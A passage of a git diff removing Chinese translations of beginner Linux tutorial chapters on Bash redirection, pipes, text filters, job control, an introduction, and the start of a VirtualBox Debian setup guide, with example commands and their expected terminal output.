man`,了解其他可能的代码是什么,或者只是等待涵盖它的练习。 - diff --git a/docs/llthw-zh/ex7.md b/docs/llthw-zh/ex7.md deleted file mode 100644 index 745f00ec..00000000 --- a/docs/llthw-zh/ex7.md +++ /dev/null @@ -1,137 +0,0 @@ -# 练习 7:Bash:重定向,`stdin`,`stdout`,`stderr`,`<`,`>`,`>>`,`|`,`tee`,`pv` - -> 原文:[Exercise 7. Bash: redirection, stdin, stdout, stderr, <, >, >>, |, tee, pv](https://archive.fo/hZqGb) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -在 Linux 中,一切都只是文件。这意味着,对于控制台程序: - -+ 键盘表示为一个文件,Bash 从中读取你的输入。 -+ 显示器表示为一个文件,Bash向输出写入它。 - -让我们假设,你有一个程序可以计算文件中的行。你可以通过键入`wc -l`来调用它。现在尝试一下 没有发生什么事吧?它只是卡在那里。错了,它正在等待你的输入。这是它的工作原理: - -``` -line_counter = 0 -while end of file is not reached - read a line - add 1 to line_counter -print line_counter -``` - -所以`wc`目前从`/dev/tty`读取行,这在当前上下文中是你的键盘。每次你按下回车,`wc`都会获取一行。任意键入几行,然后按`CTRL + D`,这将为`wc`产生`EOF`字符,使其明白达到[文件末尾](http://en.wikipedia.org/wiki/End-of-file)。现在它会告诉你你输入了多少行。 - -但是如果你想计算现有文件中的行呢?那么,这就需要重定向 了!为了在其输入上提供现有文件,请键入以下内容:`wc -l < .bash_history`。你看,它有作用!真的是那么简单![重定向](http://en.wikipedia.org/wiki/Redirection_%28computing%29) 是一种机制,允许你告诉程序,将其来自键入输入和/或到显示器的输出,重定向到另一个文件。为此,你可以使用这些特殊命令,然后启动程序: - -+ `<` - 用文件替换标准输入(例如键盘)。 -+ `>` - 用文件替换标准输出(例如显示器)。警告!此命令将覆盖 你的指定文件的内容,因此请小心。 -+ `>>` - 与上面相同,但不是覆盖 文件,而是写入到它的末尾,保存在该文件中已存在的信息。小心不要混淆两者。 -+ `|` - 从一个程序获取输出,并将其连接到另一个程序。这将在下一个练习中详细阐述。 - -现在,你将学习如何将程序的输入和输出重定向到文件或其他程序。 - -## 这样做 - -``` - 1: sudo aptitude install pv - 2: read foo < /dev/tty - 3: Hello World! - 4: echo $foo > foo.out - 5: cat foo.out - 6: echo $foo >> foo.out - 7: cat foo.out - 8: echo > foo.out - 9: cat foo.out -10: ls -al | grep foo -11: ls -al | tee ls.out -12: dd if=/dev/zero of=~/test.img bs=1M count=10 -13: pv ~/test.img | dd if=/dev/stdin of=/dev/null bs=1 -14: rm -v foo.out -15: rm -v test.img -``` - -## 你应该看到什么 - -``` -user1@vm1:~$ sudo aptitude install pv -The following NEW packages will be installed: - pv -0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded. -Need to get 0 B/28.9 kB of archives. After unpacking 143 kB will be used. -Selecting previously deselected package pv. -(Reading database ... 39657 files and directories currently installed.) -Unpacking pv (from .../archives/pv_1.1.4-1_amd64.deb) ... -Processing triggers for man-db ... -Setting up pv (1.1.4-1) ... - -user1@vm1:~$ read foo < /dev/tty -Hello World! -user1@vm1:~$ echo $foo > foo.out -user1@vm1:~$ cat foo.out -Hello World! -user1@vm1:~$ echo $foo >> foo.out -user1@vm1:~$ cat foo.out -Hello World! -Hello World! -user1@vm1:~$ echo > foo.out -user1@vm1:~$ cat foo.out - -user1@vm1:~$ ls -al | grep foo --rw-r--r-- 1 user1 user1 1 Jun 15 20:03 foo.out -user1@vm1:~$ ls -al | tee ls.out -total 44 -drwxr-xr-x 2 user1 user1 4096 Jun 15 20:01 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4865 Jun 15 19:34 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc --rw-r--r-- 1 user1 user1 1 Jun 15 20:03 foo.out --rw------- 1 user1 user1 50 Jun 15 18:41 .lesshst --rw-r--r-- 1 user1 user1 0 Jun 15 20:03 ls.out --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw-r--r-- 1 user1 user1 0 Jun 15 20:02 test.img -user1@vm1:~$ dd if=/dev/zero of=~/test.img bs=1M count=10 -10+0 records in -10+0 records out -10485760 bytes (10 MB) copied, 0.0130061 s, 806 MB/s -user1@vm1:~$ pv ~/test.img | dd if=/dev/stdin of=/dev/null bs=1 - 10MB 0:00:03 [3.24MB/s] [=================================================================================>] 100% -10485760+0 records in -10485760+0 records out -10485760 bytes (10 MB) copied, 3.10446 s, 3.4 MB/s -user1@vm1:~$ rm -v foo.out -removed `foo.out' -user1@vm1:~$ rm -v test.img -removed `test.img' -user1@vm1:~$ -``` - -## 解释 - -1. 在你的系统上安装`pv`(管道查看器)程序,稍后你需要它。 -2. 将你的输入读取到变量`foo`。这是可能的,因为显示器和键盘实际上是系统的电传打字机。是的,[那个](http://www.google.ru/search?rlz=1C1CHKZ_enRU438RU438&sugexp=chrome,mod%3D11&q=unix+filter&um=1&ie=UTF-8&hl=en&tbm=isch&source=og&sa=N&tab=wi&ei=QWDbT7LILsTi4QTJxNXWCg&biw=1116&bih=875&sei=Q2DbT93XOLLS4QTmst2ACg%23um=1&hl=en&newwindow=1&rlz=1C1CHKZ_enRU438RU438&tbm=isch&sa=1&q=teletype&oq=teletype&aq=f&aqi=g10&aql=&gs_l=img.3..0l10.455489.456448.4.456736.8.6.0.2.2.0.144.567.4j2.6.0...0.0.Qa6W2PHvUWw&pbx=1&bav=on.2,or.r_gc.r_pw.r_qf.,cf.osb&fp=e87c07212bd9e2a6&biw=1116&bih=875)电传打字机!在线阅读更多关于`tty`的东西。 -3. 这是你输入的东西。 -4. 将`foo`变量的内容重定向到`foo.out`文件,在进程中创建文件或覆盖现有文件,而不会警告删除所有内容! -5. 打印出`foo.out`的内容。 -6. 将`foo`变量的内容重定向到`foo.out`文件,在进程中创建文件或附加 到现有文件。这是安全的,但不要混淆这两者,否则你会有巨大的悲剧。 -7. 再次打印出`foo.out`内容。 -8. 将空内容重定向到`foo.out`,在进程中清空文件。 -9. 显示文件确实是空的。 -0. 列出你的目录并将其通过管道输出到`grep`。它的原理是,获取所有`ls -al`的输出,并将其扔给`grep`。这又称为管道。 -1. 将你的目录列出到屏幕上,并写入`ls.out`。很有用! -2. 创建大小为 10 兆字节的清零文件。现在不要纠结它如何工作。 -3. 将这个文件读取到`/dev/null`,这是你系统中终极的垃圾桶,什么都没有。写入它的一切都会消失。请注意,`pv`会向你展示读取文件的进程,如果你尝试使用其他命令读取它,你就不会知道它需要多长时间来完成。 -4. 删除`foo.out`。记得自己清理一下。 -5. 删除`test.img`。 - -## 附加题 - -+ 阅读 [stackoverflow](http://stackoverflow.com/questions/5802879/difference-between-pipelining-and-redirection-in-linux) 上的管道和重定向,再次阅读 [stackoverflow](http://stackoverflow.com/questions/19122/bash-pipe-handling?rq=1) 和 [Greg 的 Wiki](http://mywiki.wooledge.org/BashFAQ/024),这是非常有用的资源,记住它。 -+ 打开 bash 的`man`页面,向下滚动到 REDIRECTION 部分并阅读它。 -+ 阅读`man pv`和`man tee`的描述。 diff --git a/docs/llthw-zh/ex8.md b/docs/llthw-zh/ex8.md deleted file mode 100644 index 2b8cfc5c..00000000 --- a/docs/llthw-zh/ex8.md +++ /dev/null @@ -1,253 +0,0 @@ -# 练习 8:更多的重定向和过滤:`head`,`tail`,`awk`,`grep`,`sed` - -> 原文:[Exercise 8. Bash: more on redirection and filtering: head, tail, awk, grep, sed](https://archive.fo/JH46V) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -现在你试过了 Linux,我会介绍一下 Unix 的方式。注意看。 - -> 这就是 Unix 的哲学:写一些程序,只做一件事,并且把它做好。编写程序,使其一起工作。编写程序来处理文本流,因为这是一个通用接口。 - -实际上这意味着为了熟练使用 Linux,你需要知道如何从一个程序中获取输出,并将其提供给另一个程序,通常会在此过程中修改它。通常,你可以通过使用管道,将多个程序合并在一起,它允许将一个程序的输出连接到另一个程序。像这样: - -![](img/8-1.png) - -这里发生的事情真的很简单。几乎每个 Linux 程序在启动时打开这三个文件: - -`stdin` - 标准输入。这是程序读取东西的地方。 -`stdout` - 标准输出。这是程序写出东西的地方。 -`stderr` - 标准错误。这是程序报错的地方。 - -这就是它的读取方式: - -``` -启动程序 1 - 开始从键盘读取数据 - 开始向显示器写出错误 - 启动程序 2 - 开始从程序 1 读取输入 - 开始向显示器写出错误 - 启动程序 3 - 开始从程序 2 读取输入 - 开始向显示器写出错误 - 开始向显示器写出数据 -``` - -还有另一种方式来描绘发生的事情,如果你喜欢 South Park 风格的幽默,但要小心:看到的是不会是不可见的![警告!你无法忽略它](http://osxdaily.com/wp-content/uploads/2011/04/south-park-human-centipad.jpg)。 - -让我们考虑以下管道,它接受`ls -al`的输出,仅打印文件名和文件修改时间: - -``` -ls -al | tr -s ' ' | cut -d ' ' -f 8,9 -``` - -这是所发生事情的概述: - -``` -启动 ls -al - 获取当前目录中的文件列表 - 向显示器写出错误 - 向管道写出输出 - 启动 tr -s ' ' - 通过管道从 ls -al 读取输入 - 两个字段之间只保留一个空格 - 向显示器写出错误 - 向管道写出输出 - 启动 cut -d ' ' -f 8,9 - 通过管道从 tr -s ' ' 读取输入 - 只保留字段 8 和 9,扔掉其它东西 - 向显示器写出错误 - 向显示器写出输出 -``` - -更详细地说,这是每一步发生的事情: - -第一步:`ls -al`,我们获取了目录列表,每一列都叫做字段。 - -``` -user1@vm1:~$ ls -al -total 52 -drwxr-xr-x 2 user1 user1 4096 Jun 18 14:16 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4865 Jun 15 19:34 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc --rw-r--r-- 1 user1 user1 64 Jun 18 14:16 hello.txt --rw------- 1 user1 user1 89 Jun 18 16:26 .lesshst --rw-r--r-- 1 user1 user1 634 Jun 15 20:03 ls.out --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw------- 1 user1 user1 666 Jun 18 14:16 .viminfo -``` - -第二步:`ls -al | tr -s ' '`,我们在两个字段之间只保留,因为`cut`不能将多个空格理解为一种方式,来分离多个字段。 - -``` -user1@vm1:~$ ls -al | tr -s ' ' -total 52 -drwxr-xr-x 2 user1 user1 4096 Jun 18 14:16 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4865 Jun 15 19:34 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc --rw-r--r-- 1 user1 user1 64 Jun 18 14:16 hello.txt --rw------- 1 user1 user1 89 Jun 18 16:26 .lesshst --rw-r--r-- 1 user1 user1 634 Jun 15 20:03 ls.out --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw------- 1 user1 user1 666 Jun 18 14:16 .viminfo -``` - -第三步:我们只保留字段 8 和 9,它们是我们想要的。 - -``` -user1@vm1:~$ ls -al | tr -s ' ' | cut -d ' ' -f 8,9 - -14:16 . -21:49 .. -19:34 .bash_history -21:48 .bash_logout -12:24 .bashrc -14:16 hello.txt -16:26 .lesshst -20:03 ls.out -12:25 .profile -12:19 .profile.bak -13:12 .profile.bak1 -14:16 .viminfo -``` - -现在你学到了,如何从一个程序获取输入,并将其传给另一个程序,并且如何转换它。 - -## 这样做 - -``` - 1: ls -al | head -n 5 - 2: ls -al | tail -n 5 - 3: ls -al | awk '{print $8, $9}' - 4: ls -al | awk '{print $9, $8}' - 5: ls -al | awk '{printf "%-20.20s %s\n",$9, $8}' - 6: ls -al | grep bash - 7: ls -al > ls.out - 8: cat ls.out - 9: cat ls.out | sed 's/bash/I replace this!!!/g' -``` - -### 你会看到什么 - -``` -user1@vm1:~$ ls -al | head -n 5 -total 52 -drwxr-xr-x 2 user1 user1 4096 Jun 18 14:16 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4865 Jun 15 19:34 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout -user1@vm1:~$ ls -al | tail -n 5 --rw-r--r-- 1 user1 user1 636 Jun 18 17:52 ls.out --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw------- 1 user1 user1 666 Jun 18 14:16 .viminfo -user1@vm1:~$ ls -al | awk '{print $8, $9}' - -14:16 . -21:49 .. -19:34 .bash_history -21:48 .bash_logout -12:24 .bashrc -14:16 hello.txt -16:26 .lesshst -17:52 ls.out -12:25 .profile -12:19 .profile.bak -13:12 .profile.bak1 -14:16 .viminfo -user1@vm1:~$ ls -al | awk '{print $9, $8}' - -. 14:16 -.. 21:49 -.bash_history 19:34 -.bash_logout 21:48 -.bashrc 12:24 -hello.txt 14:16 -.lesshst 16:26 -ls.out 17:52 -.profile 12:25 -.profile.bak 12:19 -.profile.bak1 13:12 -.viminfo 14:16 - -user1@vm1:~$ ls -al | awk '{printf "%-20.20s %s\n",$9, $8}' - -. 14:16 -.. 21:49 -.bash_history 19:34 -.bash_logout 21:48 -.bashrc 12:24 -hello.txt 14:16 -.lesshst 16:26 -ls.out 17:52 -.profile 12:25 -.profile.bak 12:19 -.profile.bak1 13:12 -.viminfo 14:16 -user1@vm1:~$ ls -al | grep bash --rw------- 1 user1 user1 4865 Jun 15 19:34 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc -user1@vm1:~$ ls -al > ls.out -user1@vm1:~$ cat ls.out -total 48 -drwxr-xr-x 2 user1 user1 4096 Jun 18 14:16 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4865 Jun 15 19:34 .bash_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .bashrc --rw-r--r-- 1 user1 user1 64 Jun 18 14:16 hello.txt --rw------- 1 user1 user1 89 Jun 18 16:26 .lesshst --rw-r--r-- 1 user1 user1 0 Jun 18 17:53 ls.out --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw------- 1 user1 user1 666 Jun 18 14:16 .viminfo -user1@vm1:~$ cat ls.out | sed 's/bash/I replace this!!!/g' -total 48 -drwxr-xr-x 2 user1 user1 4096 Jun 18 14:16 . -drwxr-xr-x 3 root root 4096 Jun 6 21:49 .. --rw------- 1 user1 user1 4865 Jun 15 19:34 .I replace this!!!_history --rw-r--r-- 1 user1 user1 220 Jun 6 21:48 .I replace this!!!_logout --rw-r--r-- 1 user1 user1 3184 Jun 14 12:24 .I replace this!!!rc --rw-r--r-- 1 user1 user1 64 Jun 18 14:16 hello.txt --rw------- 1 user1 user1 89 Jun 18 16:26 .lesshst --rw-r--r-- 1 user1 user1 0 Jun 18 17:53 ls.out --rw-r--r-- 1 user1 user1 697 Jun 7 12:25 .profile --rw-r--r-- 1 user1 user1 741 Jun 7 12:19 .profile.bak --rw-r--r-- 1 user1 user1 741 Jun 7 13:12 .profile.bak1 --rw------- 1 user1 user1 666 Jun 18 14:16 .viminfo -``` - -## 解释 - -+ 只打印目录列表中的前 5 个条目。 -+ 只打印目录列表中的后 5 个条目。 -+ 只打印修改时间和文件名。注意我如何使用`awk`,这比`cut`更聪明。这里的区别就是,`cut`只能将单个符号(我们这里是空格)理解为一种方式,来分离字段(字段分隔符),`awk`将任意数量的空格和 TAB 看做文件分隔符,所以没有必要使用`tr`来消除不必要的空格。 -+ 按此顺序打印文件名和修改时间。这又是`cat`不能做的事情。 -+ 工整地打印文件名和修改时间。注意现在输出如何变得更清晰。 -+ 仅打印目录列表中包含`bash`的行。 -+ 将目录列表的输出写入文件`ls.out`。 -+ 打印出`ls.out`。`cat`是最简单的可用程序,允许你打印出一个文件,没有更多了。尽管如此简单,但在构建复杂管道时非常有用。 -+ 打印出`ls.out`,将所有的`bash`条目替换为`I replace this!!!`。`sed`是一个强大的流编辑器,它非常非常非常有用。 - -## 附加题 - -+ 打开`head`,`tail`,`awk`, `grep`和`sed`的手册页。不要害怕,只要记住手册页面总是在那里。有了一些实践,你将能够实际了解他们。 -+ 查找`grep`选项,能够打印它找到的那行之前,或之后的一行。 -+ 使用 Google 搜索`awk printf`命令,尝试了解它如何工作。 -+ 阅读 [The Useless Use of Cat Award](https://archive.fo/9Zcyu)。尝试那里的一些例子。 - diff --git a/docs/llthw-zh/ex9.md b/docs/llthw-zh/ex9.md deleted file mode 100644 index 142bf0fb..00000000 --- a/docs/llthw-zh/ex9.md +++ /dev/null @@ -1,124 +0,0 @@ -# 练习 9:Bash:任务控制,`jobs`,`fg` - -> 原文:[Exercise 9. Bash: job control, jobs, fg](https://archive.fo/z1oWk) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -Linux是一个[多任务](http://en.wikipedia.org/wiki/Computer_multitasking)操作系统。这意味着有许多程序同时运行。从用户的角度来看,这意味着你可以同时运行几个程序,而且 bash 肯定有工具,为你控制多个任务的执行。为了能够使用此功能,你需要学习以下命令: - -+ ` + z` - 将当前运行的程序放在后台。 -+ `jobs` - 列出所有后台程序。 -+ `fg` - 把程序带到前台。`fg`接受一个数字作为参数,它可以从`jobs`中获取数,或者如果无参数调用,则将最后一个挂起的程序带到前台。 -+ `ctrl + c` - 一次性停止执行当前运行的程序。虽然我不会在这个练习中使用它,但我必须说,这可能是非常有用的。 - -现在,你将学习如何使用 bash 内置的工具来控制程序的执行。 - -## 这样做 - -``` - 1: less -S .profile - 2: - 3: less -S .bashrc - 4: - 5: less -S .bash_history - 6: - 7: jobs - 8: fg - 9: q -10: fg -11: q -12: fg -13: q -14: fg -15: jobs -``` - -## 你会看到什么 - -``` -user1@vm1:~$ less -S .profile -# exists. -# see /usr/share/doc/bash/examples/startup-files for -# the files are located in the bash-doc package. - -# the default umask is set in /etc/profile; for setti -# for ssh logins, install and configure the libpam-um -#umask 022 - -# if running bash -if [ -n "$BASH_VERSION" ]; then - # include .bashrc if it exists - if [ -f "$HOME/.bashrc" ]; then - . "$HOME/.bashrc" - -[1]+ Stopped less -S .profile -user1@vm1:~$ less -S .bashrc -# for examples - -# If not running interactively, don't do anything -[ -z "$PS1" ] && return - -# don't put duplicate lines in the history. See bash( -# don't overwrite GNU Midnight Commander's setting of -HISTCONTROL=$HISTCONTROL${HISTCONTROL+:}ignoredups -# ... or force ignoredups and ignorespace -HISTCONTROL=ignoreboth - -# append to the history file, don't overwrite it -shopt -s histappend - -[2]+ Stopped less -S .bashrc -user1@vm1:~$ less -S .bash_history -echo Hello, $LOGNAME! -echo 'echo Hello, $LOGNAME!' >> .profile -cp .profile .profile.bak -tail .profile -ls -altr -history -w -ls -al -cat .profile -echo Hello, $LOGNAME! -echo 'echo Hello, $LOGNAME!' >> .profile -cp .profile .profile.bak -tail .profile -ls -altr - -[3]+ Stopped less -S .bash_history -user1@vm1:~$ jobs -[1] Stopped less -S .profile -[2]- Stopped less -S .bashrc -[3]+ Stopped less -S .bash_history -user1@vm1:~$ fg -user1@vm1:~$ fg -user1@vm1:~$ fg -user1@vm1:~$ fg --bash: fg: current: no such job -user1@vm1:~$ jobs -user1@vm1:~$ -``` - -## 解释 - -1. 打开`.profile`来查看。注意我如何使用`-S`参数,让`less`开启`-chop-long-lines`选项来启动。 -1. 挂起`less`。 -1. 打开`.bashrc`来查看。 -1. 挂起`less`。 -1. 打开`.bash_history`来查看。 -1. 挂起`less`。 -1. 打印挂起程序的列表。 -1. 切换到`less`。 -1. 退出它。 -1. 切换到第二个`less`。 -1. 退出它。 -1. 切换到第一个`less`。 -1. 退出它。 -1. 尝试切换到最后一个程序。没有任何程序,但你这样做是为了确保确实没有。 -1. 打印挂起程序的列表。这是为了确保没有后台任务,通过看到`jobs`打印出空的输出。 - -## 附加题 - -打开`man bash`,搜索 JOB CONTROL,输入`/, JOB CONTROL, `,并阅读它。 diff --git a/docs/llthw-zh/intro.md b/docs/llthw-zh/intro.md deleted file mode 100644 index 7b21edee..00000000 --- a/docs/llthw-zh/intro.md +++ /dev/null @@ -1,82 +0,0 @@ -# 引言 - -> 原文:[Introduction](https://archive.fo/xDb8o) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -深入兔子洞吧,这就是 Linux: - - - -向它说声“你好”,点击链接并且键入`hello`,之后按下``。 - -## 简介 - -这是一个简单的指南,以“笨办法学 X”的风格编写,但作者不是 [Zed A. Shaw](https://learncodethehardway.org/)。它的目的是给你一些使用类 Unix 系统的经验。有许多很好的类似 UNIX 系统,例如 FreeBSD,OpenBSD,OpenSolaris 甚至 MAC OS X,仅举几例。我在本指南中决定使用哪个系统时,我选择了 Linux,主要是因为它是最受欢迎的类 UNIX 服务器操作系统,这意味着与其他 UNIX 衍生产品相比,在外面遇到的机会更大。而且 Linux 相关的技能更容易迁移到其他类 UNIX 系统。 - -现在我想告诉你一些细节。你将遇到许多详细的表格,包含许多字段的列表。你可能认为你不需要大部分的信息,但是我想在这里做的就是,教你正确的方法,来处理所有这些可怕的数据。这种正确的方法是将这些数据解释为数学公式,其中每个符号都有其含义。 - -如果你已经有了 Linux 的经验,你可能会知道很多命令,但是你知道这些命令输出的每一个字段嘛?我们以`ls`为例,只列出当前目录中的所有文件。 - -``` -user1@vm1:~$ ls -al -total 32 -drwxr-xr-x 2 user1 user1 4096 Jul 20 08:33 . -drwxr-xr-x 4 root root 4096 Jul 2 06:19 .. --rw------- 1 user1 user1 4092 Jul 20 11:02 .bash_history --rw-r--r-- 1 user1 user1 220 Jul 2 06:19 .bash_logout --rw-r--r-- 1 user1 user1 3184 Jul 2 06:19 .bashrc --rw------- 1 user1 user1 295 Jul 2 11:34 .lesshst --rw-r--r-- 1 user1 user1 675 Jul 2 06:19 .profile --rw------- 1 user1 user1 1222 Jul 20 08:33 .viminfo -``` - -你知道这里每个东西的意思吗?最顶上的`total`,`drwxr-xr-x`中的`d`,第二列中的数字,第三列中的数字,日期的含义,这些点`.`和`..`的含义,以及它们储存在哪里? - -或者你只是耸耸肩,认为一些事情是 OK 的,这是文件的列表,这就是我现在需要的所有东西,这些额外字段不重要嘛?我想我知道,这个日期只是修改日期,`.`和`..`只是当前目录和上级目录的同义词。但是我不需要其它数据,我的大脑已经塞满了。 如果你想做的只是上网冲浪,这个方法没问题,但是如果你想了解 你的系统,这个方法是不行的。最重要的是,UNIX 是非常合乎逻辑的,通过让你了解有什么数据,你还将了解系统如何工作,所有关于程序运行,存储和数据访问以及互联网链接的细节。 - -底线是,精通你的领域。注意细节。了解屏幕上的每一个数据都有其意义,并且出于某种原因,被称为字段 ,不要忽视某些东西,因为发现它所做的事情是很难的。但不要走向另一个极端,那么你就变得痴迷于所有这些细节,就无法看到大局。如果一些东西现在没有任何意义,并且你已经花了大量的时间来研究它,有时最好把它写下来,再回到这个地方,或者问一个知道它的人,但是首先自己试着去了解它的功能。也许,如果你现在还在学习一些东西,你会明白,困难的部分也会变得容易很多。 - -为了总结我的观点,关于细节的关注和精通你的领域,我将在这里插入一张图片: - -> 精通你的领域,不要 · 像 · 这样: - -![](img/intro-1.png) - -© [Nedroid](http://nedroid.com/2012/05/honk-the-databus/) - -和这个指南的目的有一些关系。这是成败完全靠自己的东西,其主要目的是熟悉 Linux 环境和大量的概念和命令。其实不仅仅是熟悉,而是要记住!是的,你需要记住这些东西。是的,这意味着你必须记住一些东西,以便之后能够从自己的记忆中回忆它。是的,这很难。是的,你需要为自己制作记忆卡片,一面是术语,另一面是解释,来完成它。是的,你需要自己制作这些卡片(只在它们上面写东西,不要试图制作纸张)。是的,在这里,它会为你带来回报,灯光会打在你的头上,就像呯!我现在明白了! - -最后,如果你不明白什么东西,马上问问题。每个练习的底部都有一个注解部分。或者你可以给我写信,`sistemshik at yahoo.com`。 - -## 读者 - -+ 对类 UNIX 系统感兴趣的系统管理员。 -+ 程序员,因为一个好的程序员应该认识到,现在要管理他正在为其编程的系统。 -+ 想要尝试新东西并了解这种“[UNIX 方式](http://en.wikipedia.org/wiki/Unix_philosophy)”的人们。 - -## 预备条件 - -+ 建议熟悉命令行界面。你可以通过完成 Zed A. Shaw 的[命令行速成课](http://cli.learncodethehardway.org/book/)来熟悉它。 -+ 操作系统的基本知识通常是一个附加项。 -+ 网络的基本知识是一个附加项。 - -## 如何阅读这个指南 - -+ 阅读每个练习的介绍。你可以跳过困难的部分,稍后回来。 -+ 正确输入所显示内容。不允许复制粘贴。 -+ 将你的输出与“你应该看到的”部分进行比较。 -+ 阅读解释。 -+ 做附加题。在这里,你可以跳过困难的部分,稍后再回来。 -+ 阅读你输入的命令的手册。阅读描述就足够了 -+ 不要赶时间!如果你尝试一次性完成这个指南,那么你将不会有任何好处。一天的锻炼是一个非常合理的进度。 - -## 为了完成这个练习,你需要下面的配置 - -+ 带有互联网连接的计算机 -+ 一点空闲时间 -+ 耐心 diff --git a/docs/llthw-zh/mdi.md b/docs/llthw-zh/mdi.md deleted file mode 100644 index b8f0911f..00000000 --- a/docs/llthw-zh/mdi.md +++ /dev/null @@ -1,354 +0,0 @@ -# Debian 手动安装 - -> 原文:[Manual Debian installation](https://archive.fo/p1ZHn) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -尽管这个部分很啰嗦,但是不推荐给那些不熟悉 VirtualBox 和 Debian 的人。此外,它是为 Windows 编写的,如果你使用其他系统,我希望,对本指南进行适当的替换相当容易。 - -首先,下载你需要的东西: - -+ 下载并安装 [VirtualBox](https://www.virtualbox.org/wiki/Downloads)。 -+ 下载最新的 [Debian 6 Squeeze CD 映像](http://cdimage.debian.org/debian-cd/6.0.5/amd64/iso-cd/)。你需要第一张 CD,例如`debian-6.0.5-amd64-CD-1.iso`。 - -对于 Windows 用户,你需要下载 [putty](ttp://www.chiark.greenend.org.uk/~sgtatham/putty/download.html)。你需要这个文件:`putty.exe`。它不需要安装,你可以像这样运行它。 - -## Debian 安装指南 - -1. 启动 VirtualBox。 - - ![](https://archive.fo/p1ZHn/68fc7efcadb72e1e0f33f26176522a14607424ca.png) - -2. 按下`New`按钮来创建新的虚拟机。在`Name`字段中输入`vm1`,之后选择`Operating System: Linux, Version: Debian (64 bit)`,之后按下`Next >`。 - - ![](https://archive.fo/p1ZHn/c083a91d6b41d9216554816fbe0c0df9d6ed1e87.png) - -3. 从内存至少选择`512 MB`。如果你的机子上安装了足够的 RAM,`1024 GB`也可以。按下`Next >`。 - - ![](https://archive.fo/p1ZHn/ae59f8240ff9a5b19138aaec456e14545515b23b.png) - -4. 这里只需按下`Next >`。 - - ![](https://archive.fo/p1ZHn/6857a035f4111c1148ad0429bcbd72dc212c23f0.png) - -5. 选择`VDI (VirtualBox Disk Image)`,并按下`Next >`。 - - ![](https://archive.fo/p1ZHn/05d67f9169ff8f40bc61f4c6000871d37c3a71e4.png) - -6. 选择`Dynamically allocated`,并按下`Next >`。 - - ![](https://archive.fo/p1ZHn/e7caa74cadc60c7b829e0dd85de35018dcfe0b2f.png) - -7. 在`Location`中输入`vm1`,并按下`Next >`。 - - ![](https://archive.fo/p1ZHn/ba205c73a6f0954f9a567423da18fdb36d7b1319.png) - -8. 点击`Create`。 - - ![](https://archive.fo/p1ZHn/5661251d5a943496f199307c52ad84a06c38078f.png) - -9. 选择`vm1`并点击`Start`。 - - ![](https://archive.fo/p1ZHn/e387da8cc25aa78a8432e21ea7664b3b961f60a0.png) - -0. 点击`Next >`。 - - ![](https://archive.fo/p1ZHn/eade1e093fb56f77774d57a6f6c8bff6a37f3ff8.png) - -1. 点击`folder button`。 - - ![](https://archive.fo/p1ZHn/ff276e5704d18417a1b0581dd425e40e8909d1b6.png) - -2. 浏览并选择你的`Debian 6 Squeeze CD-image`,点击`Open`。 - - ![](https://archive.fo/p1ZHn/ef12fa3b92eef1c7001c071acb24d6c6f7622a7a.png) - -3. 点击`Next >`。 - - ![](https://archive.fo/p1ZHn/5f4dcbce772f1d9b6ff84316769a2cec48139503.png) - -4. 点击`Start`。 - - ![](https://archive.fo/p1ZHn/b139ce5a811d31c98ed0cb81573aa9f2b52b5b78.png) - -5. 关闭烦人的 